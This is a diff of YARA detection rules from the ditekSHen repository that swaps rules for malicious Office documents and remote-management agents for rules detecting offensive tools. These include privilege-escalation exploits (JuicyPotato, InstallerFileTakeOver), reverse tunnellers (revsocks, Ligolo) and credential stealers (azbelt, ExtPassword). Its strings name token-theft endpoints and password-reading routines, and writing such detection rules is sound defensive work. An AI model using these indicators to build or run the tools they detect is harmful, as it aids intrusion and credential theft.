+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1193-L1207"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9416664683c249a9dc2b3d506d9dea7067a638cc4ee5ef7138e5b33a8fcd2b96"
+		logic_hash = "606172b8fb251cb4ad75de40b55d74779aef6409832f6edf09068083143ec749"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$clsid1 = "2008020000000000c000000000000046" ascii nocase
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
-		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
-		$ole3 = "64306366313165306131623131616531" ascii
-		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
-		$ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 }
-		$ole6 = "D0cf11E" ascii nocase
-		$s1 = "55524c446f776e6c6f6164546f46696c6541" ascii nocase
-		$s2 = "55524c4d4f4e" ascii nocase
+		$f1 = "main.VulDetection" fullword ascii
+		$f2 = "main.BruteFor" fullword ascii
+		$f3 = "main.RemoteExec" fullword ascii
+		$f4 = "main.Exploit" fullword ascii
+		$f5 = "main.Noping" fullword ascii
+		$f6 = "main.LadonScan" fullword ascii
+		$f7 = "main.LadonUrlScan" fullword ascii
 
 	condition:
-		uint32(0)==0x74725c7b and (1 of ($clsid*) and 1 of ($obj*) and 1 of ($ole*) and 1 of ($s*))
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xface) and 5 of ($f*)
 }
-rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL3 : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_ENC_Diskcryptor : FILE
 {
 	meta:
-		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
+		description = "Detect DiskCryptor open encryption solution that offers encryption of all disk partitions"
 		author = "ditekSHen"
-		id = "794cac49-e917-5282-8cbd-8ecf91a2dc9e"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "22b25d5c-d67f-53ac-9ae8-2de077afdda9"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L817-L835"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1209-L1232"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "83eaf60b900119b9fcd458e9e9dda119fd71785821bf282e9385031368ff9891"
+		logic_hash = "7ef0bf3b11f7e4055908518ce5b6a49e04d7002ebc3396fd2da32b4e13cf68e0"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
-		$a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
-		$a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff }
-		$a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
-		$a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
-		$a6 = "auto_open" ascii nocase
-		$a7 = "auto_close" ascii nocase
-		$s1 = "* #,##0" ascii
-		$s2 = "URLMon" ascii
-		$s3 = "DownloadToFileA" ascii
-		$s4 = "DllRegisterServer" ascii
+		$x1 = "\\DiskCryptor\\DCrypt\\" ascii
+		$s1 = "Error getting %sbootloader configuration" fullword wide
+		$s2 = "loader.iso" fullword wide
+		$s3 = "Bootloader config for [%s]" fullword wide
+		$s4 = "dc_get_mbr_config" fullword ascii
+		$s5 = "dc_encrypt_iso_image" fullword ascii
+		$s6 = "dc_start_re_encrypt" fullword ascii
+		$s7 = "dc_start_encrypt" fullword ascii
+		$s8 = "_w10_reflect_" ascii
+		$d1 = "\\DosDevices\\dcrypt" fullword wide
+		$d2 = "$dcsys$_fail_%x" fullword wide
+		$d3 = "%s\\$DC_TRIM_%x$" fullword wide
+		$d4 = "\\Device\\dcrypt" fullword wide
+		$d5 = "%s\\$dcsys$" fullword wide
 
 	condition:
-		uint16(0)==0xcfd0 and 1 of ($a*) and all of ($s*) and #s1>3
+		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of ($s*)) or 4 of ($s*) or 3 of ($d*))
 }
-rule DITEKSHEN_INDICATOR_DOC_Phishingpatterns : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PRI_Installerfiletakeover : CVE_2021_41379 FILE
 {
 	meta:
-		description = "Detects OLE, RTF, PDF and OOXML (decompressed) documents with common phishing strings"
+		description = "Detect InstallerFileTakeOver CVE-2021-41379"
 		author = "ditekSHen"
-		id = "67372eb5-ed07-5062-a12e-9ad8c7070f0f"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "8581a306-e6d3-5ac1-a778-76c6505ee174"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L837-L858"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1234-L1253"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "50b6566cb18512f887c07576391eb492101f7534da3460d5f7740ee6f4cf707d"
+		logic_hash = "0a9e53138d33494d9b2aa0271b877e405ea2e8accba7c6eeac547caaa7a7c2ea"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 50
+		tags = "CVE-2021-41379, FILE"
 
 	strings:
-		$s1 = "PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION" ascii nocase
-		$s2 = "Enable Editing" ascii nocase
-		$s3 = "Enable Content" ascii nocase
-		$s4 = "WHY I CANNOT OPEN THIS DOCUMENT?" ascii nocase
-		$s5 = "You are using iOS or Android, please use Desktop PC" ascii nocase
-		$s6 = "You are trying to view this document using Online Viewer" ascii nocase
-		$s7 = "This document was edited in a different version of" ascii nocase
-		$s8 = "document are locked and will not" ascii nocase
-		$s9 = "until the \"Enable\" button is pressed" ascii nocase
-		$s10 = "This document created in online version of Microsoft Office" ascii nocase
-		$s11 = "This document created in previous version of Microsoft Office" ascii nocase
-		$s12 = "This document protected by Microsoft Office" ascii nocase
-		$s13 = "This document encrypted by" ascii nocase
-		$s14 = "document created in earlier version of microsoft office" ascii nocase
+		$s1 = "splwow64.exe" fullword ascii
+		$s2 = "notepad.exe" fullword ascii
+		$s3 = "%s\\System32\\cmd.exe" fullword wide
+		$s4 = "[SystemFolder]msiexec.exe" fullword wide
+		$s5 = "microsoft plz" ascii
+		$s6 = "%TEMP%\\" fullword wide
+		$x1 = "\\InstallerFileTakeOver.pdb" ascii
+		$o1 = { 48 b8 fe ff ff ff ff ff ff 7f 48 8b f5 48 83 ce }
+		$o2 = { 4c 8d 62 10 48 c7 c7 ff ff ff ff 48 8b c7 66 0f }
+		$o3 = { ff 15 9a 59 00 00 48 8b d8 e8 ba ff ff ff 45 33 }
+		$o4 = { 49 c7 43 a8 fe ff ff ff 49 89 5b 10 48 8b 05 5a }
+		$o5 = { 66 89 7c 24 50 48 c7 c2 ff ff ff ff 48 ff c2 66 }
 
 	condition:
-		( uint16(0)==0xcfd0 or uint32(0)==0x74725c7b or uint32(0)==0x46445025 or uint32(0)==0x6d783f3c) and 2 of them
+		uint16(0)==0x5a4d and ((1 of ($x*) and (2 of ($s*) or 3 of ($o*))) or 4 of ($s*) or ( all of ($o*) and 2 of them ))
 }
-rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_EXEC : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PRI_Juicypotato : FILE
 {
 	meta:
-		description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet"
+		description = "Detect JuicyPotato"
 		author = "ditekSHen"
-		id = "674ef310-d3bc-5e15-862f-29aa111becb3"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "2fb52598-9771-507b-a06d-7b9bc693ffee"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L860-L873"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1255-L1270"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ab3994e4082390f65d030db0b898a20df1d7e4b0ca2fdedc7a9d0f1480fd0334"
+		logic_hash = "43a7ac16b9633fd2e6c43ca142cd0d0e2166287bb51e1b6344119959fe054c19"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC"
 
 	strings:
-		$ms = "<xm:macrosheet" ascii nocase
-		$s1 = ">FORMULA.FILL(" ascii nocase
-		$s2 = ">REGISTER(" ascii nocase
-		$s3 = ">EXEC(" ascii nocase
-		$s4 = ">RUN(" ascii nocase
+		$x1 = "\\JuicyPotato.pdb" ascii
+		$x2 = "JuicyPotato v%s" fullword ascii
+		$s1 = "hello.stg" fullword wide
+		$s2 = "ppVirtualProcessorRoots" fullword ascii
+		$s3 = "Lock already taken" fullword ascii
+		$s4 = "[+] authresult %d" fullword ascii
+		$s5 = "RPC -> send failed with error: %d" fullword ascii
+		$s6 = "Priv Adjust FALSE" fullword ascii
 
 	condition:
-		uint32(0)==0x6d783f3c and $ms and (2 of ($s*) or ($s3))
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or (5 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_Autoopenhidden : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_ENUM_Sharpshares : FILE
 {
 	meta:
-		description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet auto_open and state hidden"
+		description = "Detects SharpShares multithreaded C# .NET Assembly to enumerate accessible network shares in a domain"
 		author = "ditekSHen"
-		id = "c5aab620-5254-5fc6-b236-4fe0f69cbd8e"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "1da53e34-21a3-5b3c-885e-dcc8814ac3c8"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L875-L885"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1290-L1305"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a93d8aa7ac025a0c2e8a9ac833f6d4c3cd3769ffca3f87455f43411d0021e828"
+		logic_hash = "8b35d6a692814e1b27ffc1db4ab124bf621c156aaf57f24796c422ec95a85715"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC"
 
 	strings:
-		$s1 = "state=\"veryhidden\"" ascii nocase
-		$s2 = "<definedName name=\"_xlnm.Auto_Open" ascii nocase
+		$s1 = "SharpShares." ascii wide
+		$s2 = "GetComputerShares" fullword ascii
+		$s3 = "userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*)(!(userAccountControl:1.2" wide
+		$s4 = "GetAllShares" fullword ascii
+		$s5 = "stealth:" wide
+		$s6 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*))" fullword wide
+		$s7 = /\/targets|ldap|threads/ wide
+		$s8 = "entriesread" fullword ascii
 
 	condition:
-		uint32(0)==0x6d783f3c and all of them
+		uint16(0)==0x5a4d and 4 of them
 }
-rule DITEKSHEN_INDICATOR_SUSPICOIUS_RTF_Encodedurl : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PROX_Revsocks : FILE
 {
 	meta:
-		description = "Detects executables calling ClearMyTracksByProcess"
+		description = "Detects revsocks Reverse socks5 tunneler with SSL/TLS and proxy support"
 		author = "ditekSHen"
-		id = "6b3f0434-24b2-5ae8-a6fc-c0fdded4996f"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "f85bc557-40ab-5533-8a89-a2de9bbc9ad9"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L905-L916"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1307-L1321"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cb791bb5e2af46ff9f1f07cef33bbd51edc44b2394d6f3eff31d39eaa5ff2a33"
+		logic_hash = "4a8e68f25b7ba10b0eb9772ed4ba2b9c6566768f2b5a2859df8bac644d196bf3"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "\\u-65431?\\u-65419?\\u-65419?\\u-65423?\\u-" ascii wide
-		$s2 = "\\u-65432?\\u-65420?\\u-65420?\\u-65424?\\u-" ascii wide
-		$s3 = "\\u-65433?\\u-65430?\\u-65427?\\u-65434?\\u-" ascii wide
-		$s4 = "\\u-65434?\\u-65431?\\u-65428?\\u-65435?\\u-" ascii wide
+		$s1 = "main.agentpassword" fullword ascii
+		$s2 = "main.connectForSocks" fullword ascii
+		$s3 = "main.connectviaproxy" fullword ascii
+		$s4 = "main.DnsConnectSocks" fullword ascii
+		$s5 = "main.listenForAgents" fullword ascii
+		$s6 = "main.listenForClients" fullword ascii
+		$s7 = "main.getPEMs" fullword ascii
 
 	condition:
-		uint32(0)==0x74725c7b and any of them
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 4 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Remotetemplate : CVE_2017_11882 FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Azbelt : FILE
 {
 	meta:
-		description = "Detects RTF documents potentially exploiting CVE-2017-11882"
+		description = "Detects azbelt for enumerating Azure related credentials primarily on AAD joined machines"
 		author = "ditekSHen"
-		id = "59b31243-a360-531f-99ea-32b54d19ab52"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "cf9268d2-1928-51e8-9643-ee0a5bada9fa"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L918-L928"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1323-L1338"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3a75072bc4d9c7dc53220afe359911c04cd3267c142058352de80ec430a53517"
-		score = 60
-		quality = 35
-		tags = "CVE-2017-11882, FILE"
+		logic_hash = "71cc2b3418ea5e285adafe03fa80bade67dc3e4073fe58d42bc6190860b48b43"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s1 = "{\\*\\template http" ascii nocase
-		$s2 = "{\\*\\template file" ascii nocase
-		$s3 = "{\\*\\template \\u-" ascii nocase
+		$s1 = "@http://169.254.169.254/metadata/identity/oauth2/token?api-version=" ascii
+		$s2 = "@Partner Customer Delegated Admin Offline Processor" fullword ascii
+		$s3 = "@TargetName: " fullword ascii
+		$s4 = "httpclient.nim" fullword ascii
+		$s5 = "@DSREG_DEVICE_JOIN" fullword ascii
+		$s6 = "@.azure/msal_token_cache.bin" fullword ascii
+		$s7 = "CredEnumerateW" fullword ascii
+		$s8 = "@http://169.254.169.254/metadata/instance?api-version=" ascii
 
 	condition:
-		uint32(0)==0x74725c7b and 1 of them
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Meshagent : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Dontsleep : FILE
 {
 	meta:
-		description = "Detects MeshAgent. Review RMM Inventory"
-		author = "ditekSHen"
-		id = "3d0baa87-22c9-569d-ba84-37ccaac577b8"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L3-L27"
+		description = "Detects Keep Host Unlocked (Don't Sleep)"
+		author = "ditekShen"
+		id = "f71bd0d5-a526-5f1e-8bd3-9e653db610a7"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1340-L1354"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f36c0e23b20e4466100cf4ea2a91515bf1d54505e7b1f0926a4e416a04e0dbcf"
+		logic_hash = "b8e2132d3b36c3e2d2662a586916c7e4fc029f81af08b5c18006833c4e6f772f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.MeshAgent"
 
 	strings:
-		$x1 = "\\MeshAgent" wide
-		$x2 = "Mesh Agent" wide
-		$x3 = "MeshDummy" wide
-		$x4 = "MeshCentral" wide
-		$x5 = "ILibRemoteLogging.c" ascii
-		$x6 = "AgentCore/MeshServer_" wide
-		$s1 = "var _tmp = 'Detected OS: ' + require('os').Name;" ascii
-		$s2 = "console.log(getSHA384FileHash(process.execPath).toString('hex'))" ascii
-		$s3 = "ScriptContainer.Create(): Error spawning child process, using [%s]" fullword ascii
-		$s4 = "{\"agent\":\"" ascii
-		$s6 = "process.versions.commitHash" fullword ascii
-		$s7 = "console.log('Error Initializing script from Zip file');process._exit();" fullword ascii
+		$s1 = ":Repeat###DEL \"%s\"###if exist \"%s\" goto Repeat###DEL \"%s\"###" wide
+		$s2 = "powrprof.dll,SetSuspendState" wide
+		$s3 = "_selfdestruct.bat" wide
+		$s4 = "please_sleep_block_" ascii
+		$s5 = "Browser-Type: MiniBowserOK" wide
+		$s6 = "m_use_all_rule_no_sleep" ascii
+		$s7 = "BlockbyExecutionState: %d on:%d by_enable:%d" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and 3 of ($s*)) or 6 of ($s*))
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Meshagent_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Nsudo : FILE
 {
 	meta:
-		description = "Detects Mesh Agent by (default) certificate. Review RMM Inventory"
-		author = "ditekSHen"
-		id = "b4b52faa-53a5-5ecf-bff8-984994449ee0"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L29-L42"
+		description = "Detects NSudo allowing to run processes as TrustedInstaller or System"
+		author = "ditekShen"
+		id = "9a21b923-b02e-553b-8f53-026d7034c319"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1356-L1369"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d8ac3aec723a87146be99aefbde5642d095d8d41f69c6f5e9981c39104790d33"
+		logic_hash = "6bcffa79ca06b0b4178d6ea256f98d917c2b19cec0b059889b8d015d226a53f9"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
+	strings:
+		$x1 = "cmd /c start \"NSudo." wide
+		$x2 = "*\\shell\\NSudo" fullword wide
+		$x3 = "Projects\\NSudo\\Output\\Release\\x64\\NSudo.pdb" ascii
+		$s1 = "-ShowWindowMode=Hide" wide
+		$s2 = "?what@exception@@UEBAPEBDXZ" fullword ascii
+		$s3 = "NSudo.RunAs." ascii
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "MeshCentralRoot-")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 2 of ($s*)) or all of ($s*) or 4 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Connectwise_Screenconnect : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Ligolo : FILE
 {
 	meta:
-		description = "Detects ConnectWise Control (formerly ScreenConnect). Review RMM Inventory"
+		description = "Detects Ligolo tool for establishing SOCKS5 or TCP tunnels from a reverse connection"
 		author = "ditekSHen"
-		id = "d752b7e4-b595-56cb-97f1-a60e73160e5a"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L62-L83"
+		id = "cc461fd1-9a2f-59ce-af74-a0f55b8850b1"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1371-L1385"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "43003f97c33c631a2806ce2b82b2367d2452ceb21b0267b5dfe78b350b66924a"
+		logic_hash = "b515dc184013c2f67d37e42d7172e2471b3a93c94024be12c7f587296287282d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.ConnectWise-ScreenConnect"
 
 	strings:
-		$s1 = "FILESYSCREENCONNECT.CORE, VERSION=" wide
-		$s2 = "feedback.screenconnect.com/Feedback.axd" wide
-		$s3 = /ScreenConnect (Software|Client)/ wide
-		$s4 = "ScreenConnect.InstallerActions!ScreenConnect." wide
-		$s5 = "\\\\.\\Pipe\\TerminalServer\\SystemExecSrvr\\" wide
-		$s6 = "\\jmorgan\\Source\\cwcontrol\\Custom\\DotNetRunner\\" wide
-		$s7 = "ScreenConnect." ascii
-		$s8 = "\\ScreenConnect.Core.pdb" ascii
-		$s9 = "relay.screenconnect.com" ascii
+		$p1 = "/ligolo/main.go" ascii
+		$p2 = "/armon/go-socks5" ascii
+		$s1 = "main.StartLigolo" fullword ascii
+		$s2 = "main.handleRelay" fullword ascii
+		$s3 = "main.startSocksProxy" fullword ascii
+		$s4 = "_main.tlsFingerprint" fullword ascii
+		$s5 = "main.verifyTlsCertificate" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and 3 of them
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and (( all of ($p*) and 1 of ($s*)) or all of ($s*) or (1 of ($p*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Connectwise_Screenconnect_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Extpassword : FILE
 {
 	meta:
-		description = "Detects ConnectWise Control (formerly ScreenConnect) by (default) certificate. Review RMM Inventory"
+		description = "Detects ExtPassword External Drive Password Recovery"
 		author = "ditekSHen"
-		id = "7a032c24-8a9e-51c3-983e-62e13594aa35"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L85-L99"
+		id = "bb06d2c1-964d-5a3d-a741-09b8ef5ac7fa"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1387-L1403"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "14291bd9ddb7fd3ee7932f8104687aae58fe7f5de13726153e5e1ee9c211f598"
+		logic_hash = "525530cb7e9f44be0408fd710306f90056b1b6b9a9e4779d8c1eb1ddef443fb0"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 
+	strings:
+		$x1 = "ExtPassword!" fullword wide
+		$s2 = "GReading Chrome password file: %s" fullword wide
+		$s3 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%d" fullword wide
+		$s4 = "2015-07-27 13:49:41 b8e92227a469de677a66da62e4361f099c0b79d0" ascii
+		$s5 = "metadata WHERE id = 'password'" ascii
+		$s6 = /Scanning\s(Credentials\sfolder|Credentials\sfolder|Firefox\sand\sother\sMozilla\sWeb\sbrowsers|Chromium-based\Web\browsers|Outlook\saccounts|Windows\sVault|dialup\/VPN\sitems|wireless\skeys|Windows\ssecurity\squestions|vault\spasswords)/ wide
+		$s7 = "lhelp32Snapsho" fullword ascii
+		$s8 = "SELECT origin_" fullword ascii
+		$s9 = "password#Ck" fullword ascii
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert" and pe.signatures[i].subject contains "Connectwise, LLC")
+		uint16(0)==0x5a4d and (1 of ($x*) and 3 of ($s*)) or 6 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Agent : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Ngrok : FILE
 {
 	meta:
-		description = "Detects FleetDeck Agent. Review RMM Inventory"
+		description = "Detects Ngrok"
 		author = "ditekSHen"
-		id = "342a196c-1c5c-5951-85e4-d288311b4980"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L101-L123"
+		id = "fc0a0de8-b68b-5b6b-a222-bbc031ebabd3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1405-L1418"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "121e59ea0088c519b618e740b57c560d60cced4a48c9d468e6bf1ab22fa8c8ff"
+		logic_hash = "f4bba142652aaf77e5b7c123b743cf165ae17210c39cf65b7311f7e7bd91f7e1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.FleetDeckAgent"
 
 	strings:
-		$s1 = "fleetdeck.io/" ascii
-		$s2 = "load FleetDeck agent" ascii
-		$s3 = ".dev1.fleetdeck.io" ascii
-		$s4 = "remoteDesktopSessionMutex" ascii
-		$s5 = "main.remoteDesktopWatchdog" fullword ascii
-		$s6 = "main.virtualTerminalWatchdog" fullword ascii
-		$s7 = "main.meetRemoteDesktop" fullword ascii
-		$s8 = "repo.senri.se/prototype3/" ascii
-		$s9 = "main.svcIpcClient" fullword ascii
-		$s10 = "main.hookMqttLogging" fullword ascii
+		$s1 = "dashboard.ngrok.com" ascii
+		$s2 = "go.ngrok.com/cmd/ngrok/main.go" ascii
+		$s3 = "ngrok agent" ascii
+		$s4 = "*ngrok.clientInfo" ascii
+		$s5 = "'%s'  socket: '%s'  port: %d/edges/https/{{ .EdgeID }}/routes/{{ .ID }}/webhook_" ascii
+		$s6 = "/{{ .ID }}/tunnel_sessions/{{ .ID }}/restart" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and (3 of them )
